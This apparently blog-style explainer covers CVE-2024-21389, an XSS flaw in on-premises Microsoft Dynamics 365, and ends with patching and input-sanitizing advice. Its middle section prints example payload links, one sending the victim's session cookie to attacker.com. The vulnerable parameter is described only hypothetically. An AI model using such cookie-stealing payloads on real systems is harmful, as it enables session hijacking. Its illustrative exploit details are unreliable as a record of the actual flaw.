CVE-2024-21389 - Breaking Down the Microsoft Dynamics 365 (On-premises) Cross-site Scripting (XSS) Vulnerability
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Microsoft Dynamics 365 is a powerful suite for business operations, handling everything from client management to sales workflows. But in February 2024, Microsoft patched a critical security vulnerability discovered in its on-premises environments: CVE-2024-21389, which could allow an attacker to execute code in users' browsers via Cross-site Scripting (XSS).
This post walks you through what CVE-2024-21389 means for Dynamics 365 users, how the exploit works, and how to protect your environment.
What Is CVE-2024-21389?
CVE-2024-21389 is a Cross-site Scripting (XSS) vulnerability affecting Microsoft Dynamics 365 (on-premises) version 9.. If a user visits a specially crafted Dynamics 365 URL, an attacker may execute JavaScript in their browser—with all the permissions that user has.
Attackers could perform actions as if they were the targeted user.
Microsoft's Official Advisory (CVE-2024-21389)
How Does the Vulnerability Work?
In simple terms, Dynamics 365 did not *sanitize* or *escape* certain user input fields correctly. When untrusted input got embedded in the web page, an attacker could inject malicious scripts.
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https://your-dynamics-server/Contact/Edit.aspx?id=12345&returnUrl=javascript:alert('XSS')
Victim clicks the link, and the malicious JavaScript executes in their browser.
The code may be more obfuscated or target authentication tokens, but the principle is the same.
Example Code Snippet: A Demonstration
Let’s suppose the vulnerable Dynamics 365 page fails to sanitize returnUrl parameter when redirecting after editing a contact.
Here’s how an attacker might exploit this
<!-- Malicious URL in an email or chat -->
<a href="https://dynamics.example.com/Contact/Edit.aspx?id=1001&returnUrl=%2Fdefault.aspx%22%3E%3Cscript%3Ealert('XSS!')%3C/script%3E">Click here to view contact</a>
If a user clicks this and the platform fails to encode user input, the browser executes
alert('XSS!')
Instead of just redirecting, the attacker’s script now runs as if the victim executed it.
A more dangerous attack would silently send your session cookie to a remote server
<a href="https://dynamics.example.com/Contact/Edit.aspx?returnUrl=%2Fdefault.aspx%22%3E%3Cscript%3Edocument.location='https://attacker.com/?c='+document.cookie%3C/script%3E">Urgent Contact Update</a>
Victims get no indication anything is wrong, but their session tokens are now in the attacker’s hands.
Why Is This So Bad?
- Targeted attacks: Attackers know who works with sensitive data, like customer lists, and can target those who have the highest privileges.
Lateral movement: Once inside, attackers may access connected systems or escalate.
- No user knowledge: Victims don’t see anything unusual happen—they think it’s a normal Dynamics page.
Patch Immediately
Microsoft fixed CVE-2024-21389 in their February 2024 updates. Apply the latest security update for Dynamics 365 (on-premises).
Review Customizations
If developers created custom pages, make sure ALL user input is sanitized and properly encoded before rendering it on any page.
Educate Employees
Warn users never to click suspicious links—phishing remains the number one way attackers deliver exploits.
References
- Microsoft Security Advisory CVE-2024-21389
- Dynamics 365 On-premises Release Notes
- OWASP: Cross-site Scripting (XSS)
In conclusion:
CVE-2024-21389 is a real, dangerous vulnerability for any unpatched Dynamics 365 (on-premises) server. XSS flaws are easy to overlook but can have devastating consequences—including full compromise of business platforms. Patch now, educate users, and always validate untrusted input.
Timeline
Published on: 02/13/2024 18:15:56 UTC
Last modified on: 02/23/2024 17:39:57 UTC